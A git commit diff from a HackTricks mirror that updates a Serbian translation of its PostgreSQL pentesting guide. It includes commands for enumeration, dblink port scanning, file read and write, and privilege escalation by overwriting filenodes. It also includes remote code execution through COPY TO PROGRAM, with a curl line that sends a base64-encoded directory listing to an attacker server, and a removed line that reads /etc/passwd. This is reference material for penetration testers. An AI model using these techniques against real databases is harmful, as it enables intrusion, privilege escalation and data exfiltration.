mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['network-services-pentesting/pentesting-postgresql.md'] to r
This commit is contained in:
parent
b45b336451
commit
10274d5bd5
1 changed files with 287 additions and 320 deletions
|
@ -1,10 +1,10 @@
|
|||
# 5432,5433 - Pentestiranje Postgresql
|
||||
# 5432,5433 - Pentesting PostgreSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -14,51 +14,24 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik, već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da rukuje širokim spektrom tipova podataka i operacija, čineći ga fleksibilnim izborom za programere i organizacije.
|
||||
**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga raznovrsnim izborom za programere i organizacije.
|
||||
|
||||
**Podrazumevani port:** 5432, a ako je ovaj port već zauzet, izgleda da će postgresql koristiti sledeći port (verovatno 5433) koji nije zauzet.
|
||||
**Podrazumevani port:** 5432, a ako je ovaj port već u upotrebi, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije u upotrebi.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
```
|
||||
## Povezivanje i osnovno prebrojavanje
|
||||
|
||||
### Povezivanje
|
||||
|
||||
Da biste se povezali sa PostgreSQL bazom podataka, možete koristiti `psql` komandu:
|
||||
|
||||
```bash
|
||||
psql -h <host> -p <port> -U <username> -d <database>
|
||||
```
|
||||
|
||||
Gde su sledeći parametri:
|
||||
|
||||
- `<host>`: IP adresa ili ime hosta na kojem se nalazi PostgreSQL server.
|
||||
- `<port>`: Broj porta na kojem je PostgreSQL server otvoren (podrazumevana vrednost je 5432).
|
||||
- `<username>`: Korisničko ime za autentifikaciju na PostgreSQL serveru.
|
||||
- `<database>`: Ime baze podataka koju želite da koristite.
|
||||
|
||||
### Osnovno prebrojavanje
|
||||
|
||||
Nakon uspešnog povezivanja sa PostgreSQL bazom podataka, možete izvršiti nekoliko osnovnih komandi za prebrojavanje:
|
||||
|
||||
- `SELECT version();`: Prikazuje verziju PostgreSQL servera.
|
||||
- `SELECT current_user;`: Prikazuje trenutno prijavljenog korisnika.
|
||||
- `SELECT current_database();`: Prikazuje trenutno korišćenu bazu podataka.
|
||||
- `SELECT * FROM pg_user;`: Prikazuje sve korisnike u bazi podataka.
|
||||
- `SELECT * FROM pg_database;`: Prikazuje sve baze podataka na serveru.
|
||||
|
||||
Ove komande vam mogu pružiti osnovne informacije o PostgreSQL serveru i bazi podataka sa kojom radite.
|
||||
## Poveži se i Osnovno Enumerisanje
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -99,25 +72,25 @@ SELECT * FROM pg_extension;
|
|||
\s
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ako pokrenete **`\list`** i pronađete bazu podataka nazvanu **`rdsadmin`**, znate da se nalazite unutar **AWS postgresql baze podataka**.
|
||||
Ako prilikom pokretanja **`\list`** komande pronađete bazu podataka pod nazivom **`rdsadmin`**, znate da se nalazite unutar **AWS postgresql baze podataka**.
|
||||
{% endhint %}
|
||||
|
||||
Za više informacija o **zlostavljanju PostgreSQL baze podataka** pogledajte:
|
||||
Za više informacija o **kako zloupotrebiti PostgreSQL bazu podataka** pogledajte:
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
||||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Automatsko nabrojavanje
|
||||
## Automatsko Nabrojavanje
|
||||
```
|
||||
msf> use auxiliary/scanner/postgres/postgres_version
|
||||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
```
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
|
||||
### **Skeniranje porta**
|
||||
### **Skeniranje portova**
|
||||
|
||||
Prema [**ovom istraživanju**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` izbacuje izuzetak `sqlclient_unable_to_establish_sqlconnection` koji uključuje objašnjenje greške. Primeri ovih detalja su navedeni ispod.
|
||||
Prema [**ovom istraživanju**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` baca izuzetak `sqlclient_unable_to_establish_sqlconnection` uključujući objašnjenje greške. Primeri ovih detalja navedeni su u nastavku.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
|
@ -128,19 +101,61 @@ connect_timeout=10');
|
|||
```
|
||||
* Host je nedostupan
|
||||
|
||||
`DETALJI: nije bilo moguće uspostaviti vezu sa serverom: Nema rute do hosta. Da li je server pokrenut na hostu "1.2.3.4" i prihvata TCP/IP konekcije na portu 5678?`
|
||||
`DETALJNO: nije moguće povezivanje na server: Nema rute do hosta. Da li je server pokrenut na hostu "1.2.3.4" i prihvata li TCP/IP konekcije na portu 5678?`
|
||||
|
||||
* Port je zatvoren
|
||||
```
|
||||
DETAIL: could not connect to server: Connection refused Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
* Porta je otvorena
|
||||
* Port je otvoren
|
||||
```
|
||||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
ili
|
||||
```md
|
||||
## PostgreSQL
|
||||
|
||||
### Enumerating PostgreSQL Users
|
||||
|
||||
To list all users in a PostgreSQL database, you can query the `pg_user` table using the following SQL command:
|
||||
|
||||
```sql
|
||||
SELECT * FROM pg_user;
|
||||
```
|
||||
|
||||
### Enumerating Databases
|
||||
|
||||
To list all databases in a PostgreSQL server, you can query the `pg_database` table using the following SQL command:
|
||||
|
||||
```sql
|
||||
SELECT datname FROM pg_database;
|
||||
```
|
||||
|
||||
### Enumerating Tables
|
||||
|
||||
To list all tables in the current database, you can query the `pg_tables` table using the following SQL command:
|
||||
|
||||
```sql
|
||||
SELECT tablename FROM pg_tables;
|
||||
```
|
||||
|
||||
### Extracting Data
|
||||
|
||||
To extract data from a table, you can use a simple `SELECT` statement. For example, to extract all data from a table named `employees`, you can use the following SQL command:
|
||||
|
||||
```sql
|
||||
SELECT * FROM employees;
|
||||
```
|
||||
|
||||
### Running OS Commands
|
||||
|
||||
In some cases, you may be able to execute operating system commands using the `COPY` command in PostgreSQL. For example, you can try to read the contents of a file using the following SQL command:
|
||||
|
||||
```sql
|
||||
COPY (SELECT 'contents' FROM employees) TO PROGRAM 'cat /etc/passwd';
|
||||
```
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
|
@ -149,8 +164,6 @@ DETAIL: FATAL: password authentication failed for user "name"
|
|||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako nije izvodljivo izvući korisnička imena i lozinke iz sistemskih tabela, možete razmotriti korišćenje metode napada rečnikom koja je opisana u prethodnom odeljku, jer bi mogla dati pozitivne rezultate.
|
||||
|
||||
## Enumeracija privilegija
|
||||
|
||||
### Uloge
|
||||
|
@ -158,17 +171,17 @@ U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim
|
|||
| Tipovi uloga | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Uloga ima privilegije superkorisnika |
|
||||
| rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada |
|
||||
| rolcreaterole | Uloga može kreirati druge uloge |
|
||||
| rolcreatedb | Uloga može kreirati baze podataka |
|
||||
| rolcanlogin | Uloga može se prijaviti. To znači da se ova uloga može koristiti kao početni identifikator sesije |
|
||||
| rolreplication | Uloga je replikaciona uloga. Replikaciona uloga može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju. |
|
||||
| rolconnlimit | Za uloge koje se mogu prijaviti, ovo postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači da nema ograničenja. |
|
||||
| rolpassword | Ne lozinka (uvek se prikazuje kao `********`) |
|
||||
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
|
||||
| rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada |
|
||||
| rolcreaterole | Uloga može kreirati druge uloge |
|
||||
| rolcreatedb | Uloga može kreirati baze podataka |
|
||||
| rolcanlogin | Uloga može se prijaviti. Drugim rečima, ova uloga može biti dodeljena kao početni identifikator sesije |
|
||||
| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju. |
|
||||
| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači bez ograničenja. |
|
||||
| rolpassword | Ne lozinka (uvek se čita kao `********`) |
|
||||
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentikaciju lozinkom); null ako nema isteka |
|
||||
| rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte [Odeljak 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. |
|
||||
| rolconfig | Specifične podrazumevane vrednosti za konfiguracione promenljive tokom izvršavanja |
|
||||
| oid | ID uloge |
|
||||
| rolconfig | Podrazumevane vrednosti za konfiguracione promenljive za izvršavanje vremena uloge |
|
||||
| oid | ID uloge |
|
||||
|
||||
#### Interesantne grupe
|
||||
|
||||
|
@ -177,7 +190,7 @@ U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim
|
|||
* Ako ste član **`pg_write_server_files`** možete **pisati** fajlove
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isto**. To samo zavisi od **načina na koji se koristi** i da li mu je **omogućeno prijavljivanje**.
|
||||
Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isti**. To zavisi samo od toga **kako ga koristite** i da li mu **dozvoljavate prijavu**.
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -223,98 +236,6 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|||
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
||||
```
|
||||
### Tabele
|
||||
|
||||
---
|
||||
|
||||
#### Enumerating Tables
|
||||
|
||||
#### Enumeracija tabela
|
||||
|
||||
To enumerate the tables in a PostgreSQL database, you can use the following SQL query:
|
||||
|
||||
Da biste izlistali tabele u PostgreSQL bazi podataka, možete koristiti sledeći SQL upit:
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
|
||||
```
|
||||
|
||||
This query will return the names of all tables in the "public" schema.
|
||||
|
||||
Ovaj upit će vratiti imena svih tabela u šemi "public".
|
||||
|
||||
---
|
||||
|
||||
#### Extracting Data from Tables
|
||||
|
||||
#### Izvlačenje podataka iz tabela
|
||||
|
||||
To extract data from a specific table, you can use the following SQL query:
|
||||
|
||||
Da biste izvukli podatke iz određene tabele, možete koristiti sledeći SQL upit:
|
||||
|
||||
```sql
|
||||
SELECT * FROM table_name;
|
||||
```
|
||||
|
||||
Replace "table_name" with the name of the table you want to extract data from.
|
||||
|
||||
Zamenite "table_name" sa imenom tabele iz koje želite izvući podatke.
|
||||
|
||||
---
|
||||
|
||||
#### Modifying Data in Tables
|
||||
|
||||
#### Modifikacija podataka u tabelama
|
||||
|
||||
To modify data in a table, you can use the following SQL queries:
|
||||
|
||||
Da biste modifikovali podatke u tabeli, možete koristiti sledeće SQL upite:
|
||||
|
||||
- **Inserting Data**: Use the `INSERT INTO` statement to insert new data into a table.
|
||||
|
||||
- **Ubacivanje podataka**: Koristite `INSERT INTO` naredbu da biste ubacili nove podatke u tabelu.
|
||||
|
||||
```sql
|
||||
INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...);
|
||||
```
|
||||
|
||||
- **Updating Data**: Use the `UPDATE` statement to update existing data in a table.
|
||||
|
||||
- **Ažuriranje podataka**: Koristite `UPDATE` naredbu da biste ažurirali postojeće podatke u tabeli.
|
||||
|
||||
```sql
|
||||
UPDATE table_name SET column1=value1, column2=value2, ... WHERE condition;
|
||||
```
|
||||
|
||||
- **Deleting Data**: Use the `DELETE FROM` statement to delete data from a table.
|
||||
|
||||
- **Brisanje podataka**: Koristite `DELETE FROM` naredbu da biste obrisali podatke iz tabele.
|
||||
|
||||
```sql
|
||||
DELETE FROM table_name WHERE condition;
|
||||
```
|
||||
|
||||
Replace "table_name" with the name of the table you want to modify, and adjust the column names, values, and conditions accordingly.
|
||||
|
||||
Zamenite "table_name" sa imenom tabele koju želite da modifikujete, i prilagodite imena kolona, vrednosti i uslove prema potrebi.
|
||||
|
||||
---
|
||||
|
||||
#### Dropping Tables
|
||||
|
||||
#### Brisanje tabela
|
||||
|
||||
To drop a table from a PostgreSQL database, you can use the following SQL query:
|
||||
|
||||
Da biste obrisali tabelu iz PostgreSQL baze podataka, možete koristiti sledeći SQL upit:
|
||||
|
||||
```sql
|
||||
DROP TABLE table_name;
|
||||
```
|
||||
|
||||
Replace "table_name" with the name of the table you want to drop.
|
||||
|
||||
Zamenite "table_name" sa imenom tabele koju želite da obrišete.
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
|
@ -329,60 +250,6 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
||||
```
|
||||
### Funkcije
|
||||
|
||||
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the `CREATE FUNCTION` statement and can be called using the `SELECT` statement.
|
||||
|
||||
#### Creating Functions
|
||||
|
||||
To create a function in PostgreSQL, you can use the following syntax:
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION function_name ([parameter1 data_type [, parameter2 data_type [, ...]]])
|
||||
RETURNS return_type
|
||||
LANGUAGE language_name
|
||||
AS $$
|
||||
-- Function body
|
||||
$$;
|
||||
```
|
||||
|
||||
- `function_name`: The name of the function.
|
||||
- `parameter1, parameter2, ...`: The input parameters of the function, each with its data type.
|
||||
- `return_type`: The data type of the value returned by the function.
|
||||
- `language_name`: The programming language used to write the function body.
|
||||
|
||||
#### Example
|
||||
|
||||
Let's create a simple function that calculates the square of a number:
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION square(num INTEGER)
|
||||
RETURNS INTEGER
|
||||
LANGUAGE SQL
|
||||
AS $$
|
||||
SELECT num * num;
|
||||
$$;
|
||||
```
|
||||
|
||||
#### Calling Functions
|
||||
|
||||
To call a function in PostgreSQL, you can use the `SELECT` statement:
|
||||
|
||||
```sql
|
||||
SELECT function_name([argument1 [, argument2 [, ...]]]);
|
||||
```
|
||||
|
||||
- `function_name`: The name of the function.
|
||||
- `argument1, argument2, ...`: The arguments passed to the function.
|
||||
|
||||
#### Example
|
||||
|
||||
Let's call the `square` function we created earlier:
|
||||
|
||||
```sql
|
||||
SELECT square(5);
|
||||
```
|
||||
|
||||
This will return the value `25`, which is the square of `5`.
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -402,11 +269,11 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
|
|||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
## Akcije na fajl-sistemu
|
||||
## Radnje na fajl-sistemu
|
||||
|
||||
### Čitanje direktorijuma i fajlova
|
||||
|
||||
Od ovog [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) članovi definisane grupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (poznate kao **`pg_read_server_files`**) i **super korisnici** mogu koristiti metodu **`COPY`** na bilo kojoj putanji (proverite `convert_and_check_filename` u `genfile.c`):
|
||||
Od ovog [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) članovi definisane grupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (pozvane **`pg_read_server_files`**) i **super korisnici** mogu koristiti **`COPY`** metod na bilo kojoj putanji (proverite `convert_and_check_filename` u `genfile.c`):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
|
@ -421,7 +288,7 @@ GRANT pg_read_server_files TO username;
|
|||
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje fajlova ili listanje direktorijuma**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** mogu ih koristiti:
|
||||
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje datoteka ili listanje direktorijuma**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** mogu ih koristiti:
|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
|
@ -449,7 +316,7 @@ Možete pronaći **više funkcija** na [https://www.postgresql.org/docs/current/
|
|||
|
||||
### Jednostavno pisanje datoteka
|
||||
|
||||
Samo **super korisnici** i članovi **`pg_write_server_files`** mogu koristiti copy za pisanje datoteka.
|
||||
Samo **super korisnici** i članovi **`pg_write_server_files`** mogu koristiti kopiranje za pisanje datoteka.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -465,12 +332,12 @@ GRANT pg_write_server_files TO username;
|
|||
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Zapamtite da COPY ne može rukovati sa znakovima za novi red, stoga čak i ako koristite base64 payload, **morate poslati jednolinijski kod**.\
|
||||
Veoma važno ograničenje ove tehnike je da **`copy` ne može se koristiti za pisanje binarnih fajlova jer menja neke binarne vrednosti**.
|
||||
Zapamtite da COPY ne može rukovati znakovima nove linije, stoga čak i ako koristite base64 payload **morate poslati jednolinijski**.\
|
||||
Veoma važno ograničenje ove tehnike je da **`copy` ne može se koristiti za pisanje binarnih fajlova jer modifikuje neke binarne vrednosti.**
|
||||
|
||||
### **Slanje binarnih fajlova**
|
||||
### **Uploadovanje binarnih fajlova**
|
||||
|
||||
Međutim, postoje **druge tehnike za slanje velikih binarnih fajlova:**
|
||||
Međutim, postoje **druge tehnike za uploadovanje velikih binarnih fajlova:**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
||||
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
|
@ -478,19 +345,80 @@ Međutim, postoje **druge tehnike za slanje velikih binarnih fajlova:**
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Savet za bug bounty**: **registrujte se** na **Intigriti**, premium platformu za **bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**!
|
||||
**Savet za bug bounty**: **registrujte se** na **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### Ažuriranje podataka tabele PostgreSQL-a putem pisanja lokalnih fajlova
|
||||
Ako imate potrebne dozvole za čitanje i pisanje fajlova servera PostgreSQL-a, možete ažurirati bilo koju tabelu na serveru tako što ćete prepisati povezan fajl čvora u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html).
|
||||
Više o ovoj tehnici [ovde](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Potrebni koraci:
|
||||
1. Dobijanje direktorijuma podataka PostgreSQL-a
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Napomena:** Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita `SELECT version()` i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Često korišćeno ime klastera je `main`.
|
||||
|
||||
2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{IME_TABELE}')
|
||||
```
|
||||
Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
|
||||
3. Preuzimanje fajl čvora kroz funkcije `lo_*`
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom
|
||||
```sql
|
||||
SELECT
|
||||
STRING_AGG(
|
||||
CONCAT_WS(
|
||||
',',
|
||||
attname,
|
||||
typname,
|
||||
attlen,
|
||||
attalign
|
||||
),
|
||||
';'
|
||||
)
|
||||
FROM pg_attribute
|
||||
JOIN pg_type
|
||||
ON pg_attribute.atttypid = pg_type.oid
|
||||
JOIN pg_class
|
||||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{IME_TABELE}';
|
||||
```
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvora](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole.
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
![Demonstracija PostgreSQL Filenode Editora](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
7. Ponovo otpremite uređeni fajl čvora putem funkcija `lo_*`, i prepisujte originalni fajl na disku
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
8. *(Opciono)* Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
9. Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
|
||||
|
||||
Takođe možete postati superadmin uređivanjem tabele `pg_authid`. **Pogledajte [sledeći odeljak](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**.
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
### **RCE ka programu**
|
||||
### **RCE do programa**
|
||||
|
||||
Od verzije 9.3, samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti copy za RCE (primer sa eksfiltracijom:
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
Primer za izvršavanje:
|
||||
Primer za izvršenje:
|
||||
```bash
|
||||
#PoC
|
||||
DROP TABLE IF EXISTS cmd_exec;
|
||||
|
@ -508,12 +436,6 @@ Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, može
|
|||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Ili koristite modul `multi/postgres/postgres_copy_from_program_cmd_exec` iz **metasploita**.\
|
||||
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je saopštio da je ovo bila [funkcionalnost i neće biti popravljena](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE sa PostgreSQL jezicima
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
||||
|
@ -522,15 +444,18 @@ Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-secu
|
|||
|
||||
### RCE sa PostgreSQL ekstenzijama
|
||||
|
||||
Kada ste **naučili** iz prethodnog posta **kako da otpremate binarne fajlove**, možete pokušati da dobijete **RCE otpremanjem PostgreSQL ekstenzije i učitavanjem** iste.
|
||||
Kada ste već **naučili** iz prethodnog posta **kako da otpremite binarne datoteke**, možete pokušati da dobijete **RCE otpremajući postgresql ekstenziju i učitavajući je**.
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
||||
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### RCE sa konfiguracionim fajlom PostgreSQL-a
|
||||
### RCE sa konfiguracionom datotekom PostgreSQL-a
|
||||
{% hint style="info" %}
|
||||
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti putem ugniježđenih SELECT izjava
|
||||
{% endhint %}
|
||||
|
||||
**Konfiguracioni fajl** PostgreSQL-a je **moguće menjati** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati fajlove na fajl sistemu i samim tim možete ga **prepisati**.
|
||||
**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.**
|
||||
|
||||
![](<../.gitbook/assets/image (303).png>)
|
||||
|
||||
|
@ -538,50 +463,112 @@ Kada ste **naučili** iz prethodnog posta **kako da otpremate binarne fajlove**,
|
|||
|
||||
Više informacija [o ovoj tehnici ovde](https://pulsesecurity.co.nz/articles/postgres-sqli).
